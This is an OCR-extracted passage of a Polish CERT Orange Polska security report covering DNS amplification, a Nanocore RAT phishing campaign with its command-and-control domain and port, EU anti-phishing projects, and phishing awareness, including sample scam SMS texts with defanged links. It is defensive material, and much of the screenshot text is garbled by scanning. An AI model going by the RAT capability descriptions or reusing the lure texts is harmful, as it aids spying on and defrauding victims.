Zapytanie ma rozmiar kilkudziesieciu bajtéw, a odpowiedz
- zaleznie od serwera DNS - kilka kB. Oznacza to,
ze atakujacy uzyskat kilkudziesieciokrotne wzmocnienie.
Oprécz tego ukryt swoéj adres IP - dla ofiary zrédtem ataku
bedzie open resolver, a nie faktyczny atakujgcy. W analogiczny
sposéb odbywajg sie ataki z wykorzystaniem NTP albo SNMP.

Michat Lopacki

CERT Orange Polska cert.orange.pl
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W lutym mieli§my do czynienia w polskiej cyberprzestrzeni
z kampanig ztosliwego oprogramowania w fakturach
podszywajacych sie pod Orange Polska a mianowicie

z Nanocore RAT (Remote Access Trojan).

8 lutego na skrzynki mailowe internautéw trafita kampania,
zawierajgca ztosliwe oprogramowanie Nanocore (trojan
zdalnego dostepu, Remote Access Trojan, RAT).

Jest to dos¢ wyspecjalizowane i rozbudowane narzedzie,
stuzgce m.in. do wykradania poswiadczen uzytkownika.

W opisywanej kampanii podszywat sie pod fakture z Orange
Polska wytgcznie ze spoofowanym adresem nadawcy
(prawdziwe faktury przychodza z niespoofowalnego
e-faktura@pl.orange.com).

Dzien dobry,

nie dotarta do nas wpiata za u=lugl mobiine
taczne saldo do zapiaty: 75,49 zt
Numer konta Klienta: 1.1

MNumer rachunku: 09 1140 5536<-p>

Zaplac jak najszybcie). Masz to juz za sob=#261.7 Zignoruj t¢ wiadomosc

Dzigki terminowym wplatom unik=sz odsetek i utraly przyznanych rabatow.

W otrzymanej od jednego z uzytkownikéw prébce wystgpity
problemy z kodowaniem i pobraniem jednego z obrazéw, nie
mozna jednak wykluczac, ze u czesci internautdw wszystko
wygladato bez zastrzezen. W pliku ZIP udajgcym (nieudolnie)
PDF znajdowat sie wspomniany Nanocore, komunikujacy sie ze
swoim Command&Control pod adresem masterpatOnms672ns.
duckdns.org, wykorzystujac port TCP 3498.

Dane na zrzucie zostaty wymazane nieprzypadkowo, poniewaz
sg prawdziwymi danymi klienta i — co ciekawe — na to konto
po wysytce kampanii phishingowe;j... odnotowano wptaty!

Z dwojga ztego lepiej wptaci¢ komus innemu niz zainfekowac
sie ztosliwym oprogramowaniem, kradnacym loginy i hasta,
tym niemniej zalecamy zawsze sprawdzenie numeru konta,
zanim wykona sie przelew.

Co potrafi NanoCore od strony przestepcy?
Odwroémy zatem sytuacje i spojrzmy:

Identity Py IdeTme  Active Window

Ran Up Time

BESKTOP 46PEALS\IwG Grai =T TNk 0603558

CERT Orange Polska

Botmaster NanoCore dzieki rozbudowanym funkcjom

bez problemu moze zarzadzac¢ plikami, znajdujgcymi sie
na zainfekowanym komputerze. Malware umozliwia mu
przejecie kontrole nad menedzerem zadan, a nawet doko-
nywanie dowolnych modyfikacji w rejestrze systemowym,
czy uruchomienie zdalnie powtoki systemu Windows.

Identity
Default
BESiciop-d6PEALS \iwe Grai Kl

5% B 26%  Notidie

= ,
o ,
@ e S]& Voo
& MoueUnuap

r@
L] '@
B

» |@ OpenWebpage » | @ Meatspin

N

Ztosliwie oprogramowanie ma rowniez szereg innych
mozliwosci, wérdd nich otwieranie stron na komputerze
uzytkownika, kontrole nad mysza, czy wysytanie
wiadomosci.

Identity Country ping CPU RAM  IdieTime  Active Window

DESKTOR-4GPEALS\WS Grai B 5 et fianoCare] NanoGo,

SyoNE

3

Recover Passwords Execute HTML Script

Execute VBS Script
Execute Python Script
E

Settings

Co jednak w przypadku funkcji moze mniej spektakularnych,
ale bardziej przydatnych? NanoCore potrafi m.in. wykonac
skrypt w wielu jezykach skryptowych, m.in.: Batch Script,
HTML, VBS, Python, Java, czy PHP. Botmaster moze przejac
hasta, zapisane na komputerze ofiary, a nawet zarzadzac
dowolnie plikami za pomocg wtasnego menedzera plikow.

&
-

A NanoCore
Lol DTS Identity Country Ping cru RAM Idle Time

Default

2 Clients )
BESKTOP-46PEALS \Two Grai

i% 38% Nt idie
_ Connection +E B
= Network System
N system Organize

SvZoEE

&, Buider

Misc
MultiCore

Plugins
o Suiss Army Kife Disable Webcam Lights
MultiCore B Tools Enable Webcam Lights

< NanoNanz

»
»
»
Manage »
»
»
»

O Surveillance

»
»
NanoStress Network »
»
»

& Settings

@~
@

Ciekawostka jest natomiast mozliwos$¢ wigczania
i wytgczania lampki LED przy kamerze zainfekowanego
komputera. Pozwala to przestepcy podgladac ofiare

bez $wiadomosci, ze kamera w urzadzeniu jest wiaczona.

€
A S

A
A Identity 1dle Time

Default

Country cry RAM

R Clients
b DESKTOP-46PEALS\Iwo Gra) @ Connection 5 LB 2% H 28%  Notidie
£ Network B System »
o »
| system & orguie
F Manage »
4, Builder & Misc »
MuttiCore »
& Plugins Swiss Army Knife >
Multicore o oo >
= NanoNana r @ oo »
& NanoStress Teamspeak |dentity recovery ’
FileZilla Server recovery >
Steam File recovery

Analizowany malware pozwala tez na przejmowanie
poswiadczen do logowania do TeamSpeak,
serwerow FileZilla, czy Steama.

&
A

A NanoCore

Identity Country ping RAM 1dle Time Active Windo,

cpu
l 4% B 47%  Notidle [NanoCore] I
]

Default

&} Clients "
| DESKTOP-46PE... &

_ &l Connection
& Network

B System
[N system W Orgenize

& Manage
&, Builder B Misc

Plugins
# Plugin Swiss Amy Knife

" & Tools
& NanoNana

% NanoStress Network

O Suneillance

£ Settings »

»
»
»
»
»
MultiCore »
»
»
»
»
»

) Recover Passwords.

View DNS Records..

Monitor Keyboard..

@, BrowseLogs..
G Video Feeds..
#  Audio Feeds..

Botmaster moze tez podstuchiwaé uzytkownika

za pomoca wbudowanego w laptopa mikrofonu,
podgladaé go za pomoca kamery, czy tez przegladaé
logi przegladarki oraz podstuchiwa¢ w czasie
rzeczywistym aktywno$¢ na klawiaturze.

Identity
Default
DESKTOP-46PEALS\Iwo Graj

Ciekawa funkcja jest Computer Locker. Umozliwia ona
zablokowanie komputera uzytkownika na hasto. Przy
odpowiednim socjotechnicznym przygotowaniu przestepca,
bazujac na niefrasobliwos$ci uzytkownika i jego braku wiedzy
moze przekonac go, ze ma do czynienia z ransomware.

A .
A NanoCore Identity

&8 Clients

2 Network &l Connection

B System

I8 system @ Organize
 Manage

s
Build
0 B & Misc

* Plugins MultiCore
Swiss Army Knife
MultiCore @ Tools

- = NanoNana 5
% NanoStress .

Network

€ Ssurveillance " F Startup Manager

@ settings Start Locker [ ComputerLocker.. »

End Locker

Dla celu tego przypadku zostat specjalnie wygenerowany tekst
oraz URL przedstawiajgcy ten scenariusz, a takze zdefiniowane
hasto odblokowania komputera jakim jest ,,CERT ORANGE”.

1 NanoCore

A NanoCore

Identity Country Ping cPU RAM Idle Tim

Default
DESKTOP-46PEALS\Iwo Graj &8 united Ki... afl Oms B 2% B 48% Notide

Locker B
Password: [CERT ORANGE

2 Clients

N system

&, Builder

Dzieki tej funkecji BotMaster moze
wymusic na uzytkowniku zaplacenie
okupu za Ocblokowanie Komputera.

# Plugins Message

MultiCore

% NanoStress

" [7] Open isolated web browser

Ut [hitp://cett orange pl ]
Send !

A oto jak wyglada efekt zablokowania komputera
zainfekowanego uzytkownika podczas tej funkcji.

Alerty bezpieczenstwa CERT Orange Polska;|

Uwazaijcie, korzystajac z
maila przez WWW!

System Lock

Your system sdminisrstor s locked your compuer 3ndlfyou vith tis mes:
Dowiedz sie wiecej > b = s ~

[ BotMlaster
[Komptera

Please enter the password your system administrator gave you here:

Enter

Powyzsza analiza pokazuje co otrzymuje cyberprzestepca
w wyniku naszej nieuwagi. Klienci Orange Polska przed
ztosliwg aktywnoscig Nanocore RAT sg chronieni przez
CyberTarcze. Zawsze jednak trzeba mie¢ Swiadomosc¢,
jak wiele moze sie sta¢, gdy klikniemy w fatszywa fakture.

lwo Graj
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Rok 2023 przyniést nam wiele satysfakcji z powodu
wygrania dwoch projektéw europejskich z nowego
Programu Digital Europe. W gronie partneréw dwoch
konsorcjow z udziatem Orange Polska, ztozylismy wnioski,
ktore uzyskaty pozytywna ocene i wspoétfinansowanie
Komisji Europejskiej. Prace w projektach APPtake

oraz ThreatChase niedawno sie zaczely i bedziecie

mogli $ledzi¢ ich postepy w mediach spotecznosciowych

i na stronach webowych. Krétko przyblizymy Wam cele

i dziedziny obu projektow.

@PPTAKE

W projekcie APPtake (projekt nr 101128082),
Orange Polska jest w gronie 14 partneréw z siedmiu
krajéw UE. Celem projektu jest zbudowanie portfolio
rozwigzan w zakresie cyberbezpieczenstwa aplikacji,
zwiekszajgcych bezpieczenstwo oprogramowania
tworzonego w modelu DevSecOps przez firmy
(gtéwnie z sektora MSP). Nazwa projektu wywodzi

sie z gry stéw, taczac ,,APP” oznaczajaca innowacyjne
rozwigzania bezpieczenstwa i ,Uptake” oznaczajaca
mozliwos$¢ udostepnienia tych rozwigzan na rynku.
Obecnie nikt raczej nie podwaza znaczenia bezpieczenstwa
aplikacji w $wiecie biznesu opartym na danych.

Dzi$ dane staly sie podstawg dziatalnosci kazdej firmy.
Dlatego tez bezpieczenstwo aplikacji odgrywa coraz
wiekszg role we wspdtczesnej gospodarce, chronigc
dane i dziatalno$¢ firm. Brak integracji praktyk
bezpieczenstwa z cyklem zycia oprogramowania
stwarza jednak zagrozenie dla zdolnosci firm

do radzenia sobie z lukami w zabezpieczeniach

i wadami swoich aplikaciji.

Celem APPTake (Uptake of Innovative Application
Security Solutions) jest zbudowanie z rozwigzan
bezpieczenstwa dostarczonych przez siedmiu
partnerow technicznych projektu (w tym Orange Polska),
ustug podnoszacych bezpieczenstwo aplikaciji

na kazdym etapie ich wytwarzania w procesie CI/CD

(Cl-Continuous Integration/CD-Continuous Deplyment).
W ramach projektu zostanie udostepniona nowa
platforma rynkowa, ktéra ma by¢ dostosowana

do potrzeb europejskich firm, w szczegdlnosci

z sektora matych i Srednich przedsiebiorstw — MSP.

CERT Orange Polska

Zgodnie z celem Programu Digital Europe, projekt
APPtake, skupiajac komercyjnych partneréw technicznych
posiadajgcych dojrzate rozwigzania cyberbezpieczenstwa,
zapewni gotowos¢ rynkowa platformy APPtake oraz
interoperacyjnos¢ i przydatnosé zestawu oferowanych
narzedzi cyberbezpieczenstwa.

Praktycznos$c¢ rozwigzania APPtake zostanie sprawdzona

w fazie demonstracyjnej projektu z udziatem pieciu
uzytkownikow koncowych. Zostanie wdrozonych 5 projektéw
pilotazowych w firmach z r6znych kluczowych sektorow
gospodarki: energia, transport, handel online, ustugi
chmurowe SaaS.

Liczymy na to, ze dziatania w projekcie APPtake:

Pomoga we wprowadzeniu na rynek UE, bezpiecznych
aplikaciji realizowanych w modelu DevSecOps, w tym
rozwigzan opracowanych w ramach innych projektéw
badawczych i innowacyjnych wspieranych przez UE,

z ktérymi APPtake wspotpracuje.

Dostarcza przydatne narzedzia i ustugi firmom

(w szczegolnosci MSP) w celu zapewnienia ochrony

i reagowania na zagrozenia cyberbezpieczenstwa,

w catym cyklu rozwoju oprogramowania CI/CD
Poprawig bezpieczenstwo rozwigzan typu open source
(np. przez utworzenie programow bug bounty).

W ramach projektu APPtake w Europie beda organizowane
wydarzenia stacjonarne i hackatony online, planowane sg
rowniez spotkania z wymiang doswiadczen oraz doradztwo
w gronie ekspertéw technicznych.

Wiecej informaciji juz wkrotce na stronie projektu.
Zapraszamy do obserwowania postepéw projektu :-)

Strona webowa projektu:

[in]
(@)

ThreatChase

Protection against phishing

Konsorcjum ThreatChase sktada sie z czterech partneréw
z 3 panstw cztonkowskich UE (Francja, Polska i Portugalia).
Projekt ThreatChase (projekt nr 101128042) ma wesprze¢
podniesienie poziomu cyberbezpieczenstwa w UE przez
wdrozenie nowej platformy zapewniajacej ochrone przed
phishingiem.

Platforma ta ma oferowa¢ dwie gtéwne ustugi:

ustrukturyzowanych danych na temat ztosliwych
adreséw URL i nazw domen wykorzystywanych

w phishingu;

zapobiegania phishingowi i powiadamiania o danych
uwierzytelniajgcych, ktdre pojawity sie w wyciekach
danych w internecie.

Celem projektu jest identyfikacja adreséw URL (i zebranie
kompleksowych metadanych) wykorzystywanych w atakach
phishingowych we wszystkich dostepnych otwartych zrédtach
w internecie, zaréwno przy uzyciu pasywnych, jak i aktywnych
metod skanowania. Ustuga ThreatChase bedzie dostepna

dla wszystkich zainteresowanych w formie czarnej listy

i udostepniana za posrednictwem serwera MISP w celu
przechowywania, rozpowszechniania i udostepniania
wskaznikdw zagrozenia phishingiem. Ustuga ta zapewni

tez organizacjom informacje na temat znanych i nowo
zidentyfikowanych ztosliwych adresach URL i domen,
umozliwiajgc im identyfikowanie zagrozen bezpieczenstwa
oraz podejmowanie aktywnych dziatan, w celu ochrony
swoich sieci i systeméw poprzez blokowanie wiadomosci
spamowych, witryn phishingowych i rozpoznawanie

nazw ztosliwych domen.

Oprécz rozwigzan pozwalajacych na walke z phishingiem,
platforma zapewni ofiarom atakéw phishingowych (firmom

i osobom indywidualnym) ustuge powiadamiania o danych
uwierzytelniajgcych (adresach e-mail i hastach) z wyciekéw
danych, ktore zostaty opublikowane w internecie, a takze
umozliwi ocene ryzyka, czy konieczna jest zmiana hasta.
Wiele organizacji do$wiadczyto juz sytuaciji, w ktorej po
opublikowaniu w internecie informacji zawierajgcych dane
uwierzytelniajgce, rozpoczynaty sie zmasowane cyberataki
na portale internetowe. Jedng z przyczyn takich atakow jest
to, ze cyberprzestepcy wiedzg o tym, ze posiadanie réoznych
haset do réznych aplikaciji internetowych nie jest powszechnag
praktyka wérdd uzytkownikéw internetu. Z tego powodu
cyberprzestepcy na szeroka skale prébujg sprawdzacé
opublikowane dane uwierzytelniajace, oczekujac korzysci

z przejecia kont uzytkownikow réznych ustug internetowych
(telco, finansowych, medidw spotecznosciowych itp.).

Projekt ThreatChase ma na celu wsparcie firm,
w szczegolnosci z sektora MSP i indywidualnych
uzytkownikow internetu, poprzez:

Wdrozenie innowacyjnego rozwigzania w zakresie
cyberbezpieczenstwa w celu ochrony przed phishingiem.

Wdrozenie narzedzi i ustug dla firm, w szczegdlnosci
MSP, ktére pomoga przygotowaé sie, chroni¢ i reagowaé
na zagrozenia cyberbezpieczenstwa.

Wspieranie dobrych praktyk w zakresie definiowania

i wykorzystywania bezpiecznych haset.

Budowana platforma ThreatChase usprawni
cyberbezpieczenstwo w UE, zwlaszcza w sektorach MSP

i organizacji publicznych, zapewniajgc niezbedne informacje
potrzebne do identyfikowania i blokowania szkodliwego
ruchu, zanim dotrze on do firmowych sieci. Moze poméc
organizacjom szybciej wykrywaé cyberataki i reagowac

na nie w oparciu na analizie zagrozen w czasie rzeczywistym.
Umozliwi im identyfikowanie, kiedy ich systemy stajg sie
celem atakujgcych i podejmowanie odpowiednich dziatan.

Ustuga ThreatChase bedzie udostepniaé¢ dane na potrzeby
réznych ustug cyberbezpieczenstwa lub narzedzi
dochodzeniowych. Moze réwniez wspiera¢ narzedzia
reagowania na incydenty, ktore pasujg do ogdlnych strategii
cyberbezpieczenstwa operacyjnego i zarzadczego. Dzieki
formatowi reprezentacji MIPS, platforma ThreatChase moze
stuzy¢ do obstugi skoordynowanego ujawniania luk

w zabezpieczeniach. Poniewaz kazde oprogramowanie

typu open source moze wykorzystywac dane dostarczane
przez ustuge, zwiekszone zostang mozliwosci narzedzi

i aplikacji zapewniajacych cyberbezpieczenstwo w zakresie
wykrywania i analizowania incydentéw zwigzanych

z bezpieczenstwem. Czes¢ wysitkdéw w ramach projektu
ThreatChase zostanie po$wiecona podnoszeniu $wiadomosci
uzytkownikéw internetu z obszaru UE w zakresie phishingu

i mozliwosci wptywu ustugi ThreatChase na podniesienie
cyberbezpieczenstwa przedsigbiorstw na terenie UE.

Juz niedtugo wiecej informacji o projekcie bedzie opublikowane
na stronie projektu i w mediach spotecznosciowych.

Strona webowa projektu:

Podsumowujgc, zaréwno projekt APPtake jak i projekt Threat-
Chase zostaty uruchomione w 4Q 2023 i beda realizowane
przez 3 lata. Nadzér nad realizacjg obu projektow sprawuje
ECCC (European Cybersecurity Competence Center). Rolg
centrum ECCC jest zwiekszenie zdolnosci i konkurencyjnosci
Europy w zakresie cyberbezpieczenstwa. Wspodtpracuje ono

z siecig krajowych osrodkéw koordynacyjnych (NCC) w celu
zbudowania silnej platformy wymiany informacji w zakresie
cyberbezpieczenstwa.

Wierzymy, ze oba projekty z udziatem Orange Polska przyczynia
sie do poniesienia bezpieczenstwa przedsiebiorstw prowadzacych
dziatalno$¢ w UE i utrudnig zycie cyberprzestepcom.

Zapraszamy do $ledzenia postepdw obu projektéw w mediach
spotecznosciowych i na stronach webowych.

Co-funded by
the European Union

@ ECCCm
(£)
[in]

@

Adrian Marzecki

cert.orange.pl


https://www.apptake.eu/
https://www.linkedin.com/company/apptake/about/?viewAsMember=true
https://twitter.com/i/flow/login?redirect_after_login=%2Fapp_take63488
https://www.youtube.com/@AppTake
http://www.threatchase.io
https://ec.europa.eu/newsroom/ECCC/user-subscriptions/2744/create
https://twitter.com/Cybersec_ECCC
https://www.linkedin.com/company/cybersec-eccc/mycompany/
https://cybersecurity-centre.europa.eu/index_en

Zagrozen, na ktére dziecko narazone jest niemalze
od'urodzenial Zyjemy w $wiecie ,szerowania” i ,lajkow”,
wszystkim co dobre w naszym zyciu, chwalimy sie w sieci.

To teraz pytanie, jesli jestes$ rodzicem: czy zdjecia Twojego
dziecka sg na Twoim Facebooku albo na Instagramie?

W jakiej sytuaciji je przedstawiajg? Co moze z nimi zrobi¢ ktos,
kto nie ma dobrych zamiaréw?

Czy to znaczy, ze mamy sie cofng¢ do czaséw
przed-internetowych? Niekoniecznie. Ale miedzy
niepublikowaniem zdje¢, a publikowaniem wszystkiego
jest sporo miejsca. Zastandw sie, czy akurat to zdjecie chcesz
publikowaé. Jak jest na nim przedstawione Twoje dziecko?
Co mozna zrobi¢ z taka fotka, majac zte plany i mysli?

Jesli odpowiedzi na te pytania nie wywotujg w Tobie
niepokoju — publikuj. Ale pamietaj, ze juz teraz budujesz to,
jak Twoje dziecko bedzie postrzegane nawet za 20 lat!
Cokolwiek, co wpada do sieci — zostaje tam na zawsze.

Warto tez pamietac, by — gdy dziecko rozumie juz
o co chodzi, czym jest Facebook, czy Instagram

- za kazdy razem pytac¢ je, czy mozesz umiescic¢
dane zdjecie. Gdy dorosnie, warto przejrze¢ razem
Twoje media spotecznosciowe jeszcze raz i jesli
poprosi o usuniecie jakiejs fotki — zrobi¢ to.
Podchodzac do publikacji zdje¢ od poczatku

w odpowiedni sposéb, zadbasz nie tylko

o bezpieczenstwo dziecka (rowniez w pdzniejszych
latach), ale tez wzmocnisz jego poczucie wtasnej
wartosci. To nieoceniona korzysc¢.

Antagonizowanie grup spotecznych, manipulacja na wielu
frontach, wptyw na podejmowanie decyzji- to wszystko
w aspekcie mediéw spotecznos$ciowych jest niestety
oczywiste. Czy to znaczy, ze powinni$my trzymac
dzieci z dala od nich?

No wtasnie... niekoniecznie.

Najlepiej by byto, gdyby mtodziez zaktadata konta
w social mediach w wieku 13 lat lub pdzniej.
Wiadomo jednak, ze jesli sie upra — i tak to zrobig,
niezaleznie od naszej woli.

Dlatego nie zaszkodzi zawczasu porozmawiac o tym, ze:

serwis spotecznosciowy, bazujgc na naszej aktywnosci,
moze zbudowaé sobie nasz niezwykle szczegdtowy profil;
celem SM jest na nas zarobi¢, wiec im lepiej nas pozna,
tym lepsze reklamy nam pokaze;

media spotecznos$ciowe zarabiajg, utrzymujac nas online,
wiec bedg podsuwac nam takie tresci, by nasze poglady
stawaty sie coraz bardziej skrajne;

no i — last, but not least

w sieci mozna udawac kazdego, wiec trzeba
by¢ absolutnie nieufnym w odniesieniu do obcych.

Zajrzyjmy z dzieckiem do ustawien prywatnosci. Ustawmy
granice najostrzejsze jak sie da. Cokolwiek wpiszemy, moga
widzie¢ wytacznie znajomi. A najlepiej, np. na Instagramie,
schowajmy konto za ,ki6dka”. Wtedy zajrza tam wytacznie ci,
ktérych dziecko samo zaakceptuje.

Dzieci tez sg
celem phishingéw!

O phishingach wspominamy w Raporcie co roku,

warto jednak pomyslec tez o nich w kontekscie dzieci.
Dwojako:

Po pierwsze, w zasadzie adresatem kazdego phishingu moze
by¢ miody cztowiek. SMS o ,doptacie do paczki”? On dz-
iata niezaleznie od wieku, jesli mtody cztowiek ma juz swoje
konto bankowe lub karte, moze sie na niego ztapac tak samo
jak my. ,Niedoptata 3,99 PLN za prad”? Ta tres¢ wywotuje
emocje, empatyczne dziecko moze chcie¢ po prostu pomoéc
rodzicom, zeby sie nie stresowali, bo ,,przeciez to drobne”.
Warto porozmawiac z dzie¢mi, jak wygladajg takie SMS-y, ze
strony docelowe sg podobne do prawdziwych, zeby zawsze
sprawdzaty adres witryny, na ktérej musza sie logowac.

Po drugie, tresci przeznaczone dla mfodziezy wtasnie. Czasy
sie zmieniajg, ale budzety mtodziezy pozostajg na podobnym
poziomie. Niewielu wiec pogardzi mozliwoscig zagrania w
ptatng gre ,,za darmo”. Kto by patrzyt, ze trzeba zainstalowac
jakiegos cracka, a ten w tle podtgczy nas do botnetu i wykrad-
nie z komputera wszystko, co sie da? Pot biedy, jesli to kom-

puter dziecka i straci ,tylko” dostepy do Steama, czy innych
tego typu serwiséw. Gorzej, jesli gra na tym samym sprzecie, z
ktorego rodzic loguije sie do bankul...

Trzeba by¢ idiota, zeby klikna¢ w cos takiego!;
Przeciez to byt oczywisty przekret!; Co jest phishingiem?

Ty sie najpierw naucz czym jest czytanie ze zrozumieniem!.

Bywamy ekspertami od roznych dziedzin, jednak niemal
kazda z krytykujacych osob, gdyby odpowiednio pod
jej katem przygotowaé phishing, databy sie nan ztapaé.

Dlaczego? Bo wiekszos$¢ procesow, ktére powoduja,

ze ostatecznie klikamy, czy nawet podajemy dane, bedacy
pewni, ze wszystko jest zgodne z prawdg i rzetelne, zachodzi
w naszym mozgu. Naprawde wiekszosc¢ tych rzeczy

dzieje sie bez udziatu naszej $wiadomosci! Gdybysmy
wszelkie aktywnosci, ktére robimy, wykonywali Swiadomie,
bardzo szybko dalibySmy umystowi tak duzo bodzcéw,

ze ten mégtby sie totalnie zablokowac. Zastanéw sie przez
chwile jak wiele matych decyzji podejmujemy chocby rano,
miedzy wstaniem z tézka i wyjsciem z domu. A teraz
odpowiedz sobie na pytanie, ile z tego dzieje sie odruchowo?
Czy co rano zastanawiasz sie: ,,Dzi$ wypije herbate, czy moze
kawe?” — a moze po prostu odruchowo jeszcze z zamglonymi
oczami siegasz po szklanke i wciskasz guzik na ekspresie?
No wtasnie. | oszusci tez to wiedza.

Jasne, $rodtytut to frazes, ale do tej sytuacii idealnie

pasuje. Niestety zyjemy w Swiecie i kulturze ,,pedzenia”.
Bombardujg nas nie tylko bodzce, ale i zadania. Codzienne
wyzwania sg jak praca na tasmie. A my jak Reksio z czotowki
animowanego serialu, przybijamy kolejne pieczatki bez
zbytniego zastanowienia.

[nieznany numer] Tato to jest moj nowy numer telefonu
wyslij mi wiadomosc na Wapp wa.me/+487xx5xx8xx;
telefon wpadt mi do ubikacji

[NET FLIX] Zaktualizuj informacje, dotyczace platnosci
hxxps://galabovivesti.info/[indywidualny_hash]

[nieznany numer] Na dzien 11.09 zaplanowano odlaczenie
energii elektrycznej! Prosimy o uregulowanie naleznosci
hxxps://ya.sv/pge-zaplac-[indywidualny_hash]

Gdy widzisz te tresci teraz, w naszym Raporcie - masz
Swiadomos¢, ze to oszustwo, prawda? Dzieje sie tak dlatego,
ze masz czas, by sie nad tym zastanowi¢. Co jednak,

jesli jestes rodzicem, korzystasz z Netflixa, masz prad

w PGE? A SMS trafi do Ciebie w trakcie pracy, miedzy
jednym i drugim zadaniem?

Jest spore ryzyko, ze nie bedziesz mie¢ czasu.
Zadziatasz w emocjach, podejmiesz decyzje szybka,
pods$wiadoma, bazujgca na schematach (heurystykach),
ktére masz juz opracowane, ktére podsuwa Ci mézg.

No wiasnie. | oszusci tez to wiedza.

Wzajemnos¢, zaangazowanie i konsekwencja, lubienie

i sympatia, spoteczny dowdd stusznosci, autorytet,
niedostepnosé. Co tgczy te wszystkie pojecia? Osoba
psychologa Roberta E. Cialdiniego, ktéry na ich bazie opisat
techniki perswazji. Tworzac de facto podwaliny socjotechniki,
ktora stoi za kampaniami.

Reguta wzajemnosci. Jesli ktos zrobi cos dla Ciebie (cho¢by
tak naprawde nie niosto zadnej wartosci) — odruchowo chcesz
mu sie odwdzieczy¢.

Reguta zaangazowania i konsekwencji. Masz okreslone

od lat poglady na jakis temat? W konkretnej sytuacji zawsze
zachowujesz sie tak samo? Nasza podswiadomos¢ powoduie,
ze ciezko sie od takiego schematu odzwyczaic.

Reguta lubienia i sympatii. Jesli kogo$ lubimy, chetniej mu
uwierzymy/pomozemy. Np. nie sprawdzimy, czy to, aby
na pewno on wystat do nas maila.

Spoteczny dowdd stusznosci. Jesli thumy ludzi w cos

wierzg — fatwiej nam w to uwierzy¢. Specyficznym przyktadem
tej zasady jest wptyw sondazy wyborczych na decyzje

przy urnach. Nie trzeba jednak czeka¢ do wyboréw — tym
samym jest odruchowe ,lajkowanie” tego samego co nasi
znajomi. Na przyktad fanpage’a, ktéry tak naprawde totalnie
nas nie interesuije.

Reguta autorytetu. To ta, ktéra np. powoduije, ze tatwiej wier-
zymy cztowiekowi w kitlu, nawet nie dopuszczajgc do siebie, ze
to przeciez nie lekarz, tylko aktor. Te regute znakomicie opisuje
eksperyment Milgrama. Jesli nie znacie — warto o nim poczytac.

Reguta niedostepnosci. To istota wielu marketingowych akgiji.
Ograniczona liczba egzemplarzy, tylko dzisiaj, za godzine (!).
Czas to tez — a moze nawet przede wszystkim! — zaséb,

ktore dostepnos¢ moze by¢ ograniczona.

Jestes$ w stanie przypomnie¢ lub wyobrazi¢ sobie sytuacje, gdy
kto$ usitowat Cie zmanipulowaé, uzywajac powyzszych regut?
Gdy juz je poznamy, srodki manipulacji wydaja sie by¢ genialne
w swojej prostocie. A przede wszystkim efektywne.

No wiasnie. | oszusci tez to wiedza.
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Prywatnos¢ nie istnieje. O tym piszemy, nie tylko
w kolejnych edycjach Raportu, juz od wielu lat.
Bardziej powinni$my mowi¢ o Swiadomosci tego,
co publikujemy o sobie w internecie.

Zréb test. Uruchom wyszukiwarke — albo

nawet kilka — i wpisz swoje imie nazwisko.
Sprobuj.zabawi¢ sie w szpiega i znalez¢ o sobie
jak najwiecej w sieci. Zdjecia, konta w serwisach
spotecznosciowych, wypowiedzi na réznych
stronach czy forach.

Moze znajdzie sie cos o Twoim hobby?

Moze gdzies pokazujesz zdjecie dziecka,
upubliczniasz jego imie?

Albo chwalisz sie ukochanym psem czy kotem?
A moze w sieci mozna odnalez¢ Twoje powigzania,
czy to stuzbowe, czy prywatne?

Z kim pracujesz, z kim sie przyjaznisz...

Gdy juz to wszystko znajdziesz, zastanéw sie,

jak doktadny profil Ciebie mozna z tego utozyc¢.

| pamietaj, ze to wszystko to tylko efekt poszukiwan
— w wiekszosci przypadkéw — amatora. Dobry
specjalista od OSINT (Open Source INTelligence,
wyszukiwanie ogélnodostepnych informacji)

potrafi znalez¢ sporo, a nawet znacznie wiece;.

To teraz pomysl, czy zty cztowiek mogtby

z tych kawatkow skleci¢ koncepcje maila,

w ktérego na pewno klikniesz? Gdzie podszyje

sie pod Twojego przyjaciela i podesle Ci rzekoma
ciekawostke o Twoim hobby, prowadzacg do strony
ze ztosliwym kodem? A moze za kolege z oddziatu
Twojej firmy z innego miasta, ktdry poprosi

o przeczytanie tekstu, ktory ,dla utatwienia”
wrzucit do zewnetrznego chmurowego serwisu?

A moze ktérys z nich poswieci troche wiecej czasu,
zeby podawac sie za kogos, kogo znasz,

by zbudowac¢ Twoje zaufanie,

a nastepnie skorzystac z ktorejs

z regut Cialdiniego?

Oczywiscie nie chodzi o to, by wpas¢ w manie
przesladowczg i obsesyjnie kry¢ sie w sieci.
Warto jednak wiedzie¢, co o sobie publikujemy
i mie¢ swiadomos¢, ze im wiecej tego jest,
tym tatwiej sprawic¢, bysmy dali sie oszukac.
Brzmi groznie, prawda?

No witasnie. | oszusci tez to wiedza.

Raz na jaki$ czas — nieregularnie, ale tez nierzadko

— do pracownikéw Orange Polska trafiajg
kontrolowane phishingi. Zgodnie z zasada Navy
Seals DevGru, im wiecej potu na ¢wiczeniach,

tym mniej krwi w boju! Jesli kto$ ma sie da¢ oszukaé
phishingowi, niech to bedzie nasz phishing.

Taki, ktéry co najwyzej skonczy sie zlaniem

zimny potem, szkoleniem jak rozpoznawac takie
maile i edukacja. | moze tez troche nauka pokory.

Ofiara phishingu moze bowiem pasé kazdy.

Dlatego lepiej, by tak sie dziato w przypadku
kontrolowanego ataku, wysytanego przez ekspertow
wewnatrz firmy. Nie ma — moze z drobnymi wyjatkami
- ludzi, ktérzy nie dadza sie ztapaé na phishing.

To tylko kwestia czasu, energii i pieniedzy wtozonych
w jego przygotowanie. Jedyna nadzieja moze by¢ to,
ze niewielu z nas to HVT (High Value Target,

cel o wysokiej wartosci) — oszustom nie bedzie

sie chciato przygotowywac dla wszystkich
odpowiednio dobrych i manipulacyjnych kampanii.

Jesli jednak kazdy z nas nabierze nieco pokory,

oduczy sie by¢ moze wdrukowanych przez lata
podswiadomych mechanizméw ,,drogi na skroty”

i wbije sobie w gtowe zasade ograniczonego zaufania
w sieci, ryzyko padniecia ofiarg ataku znacznie zmaleje,
a ztym ludziom bedzie duzo trudniej.

No wiasnie. | oszusci tez to wiedza.
Dlatego tak bardzo chca wywotaé nasze emocje,

by nie da¢ nam czasu na zastanowienie.

Michat Rosiak
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Chronimy Polske, chronimy swiat!

Teamlead CyberSOC - Warsaw Hub - Orange Polska / Orange Cyberdefense.
Od kwietnia 2023 roku buduje nowy zesp6t CyberSOC dla Orange Cyberdefense
w departamencie Cyberbezpieczenstwa Orange Polska.

Centrum Operacji Bezpieczenstwa (Security
Operations Center, SOC), pracujace w trybie 24/7
przez 365 dni w roku, to nieodtgczny element
bezpieczenstwa w naszej organizacji. Dziatajgce

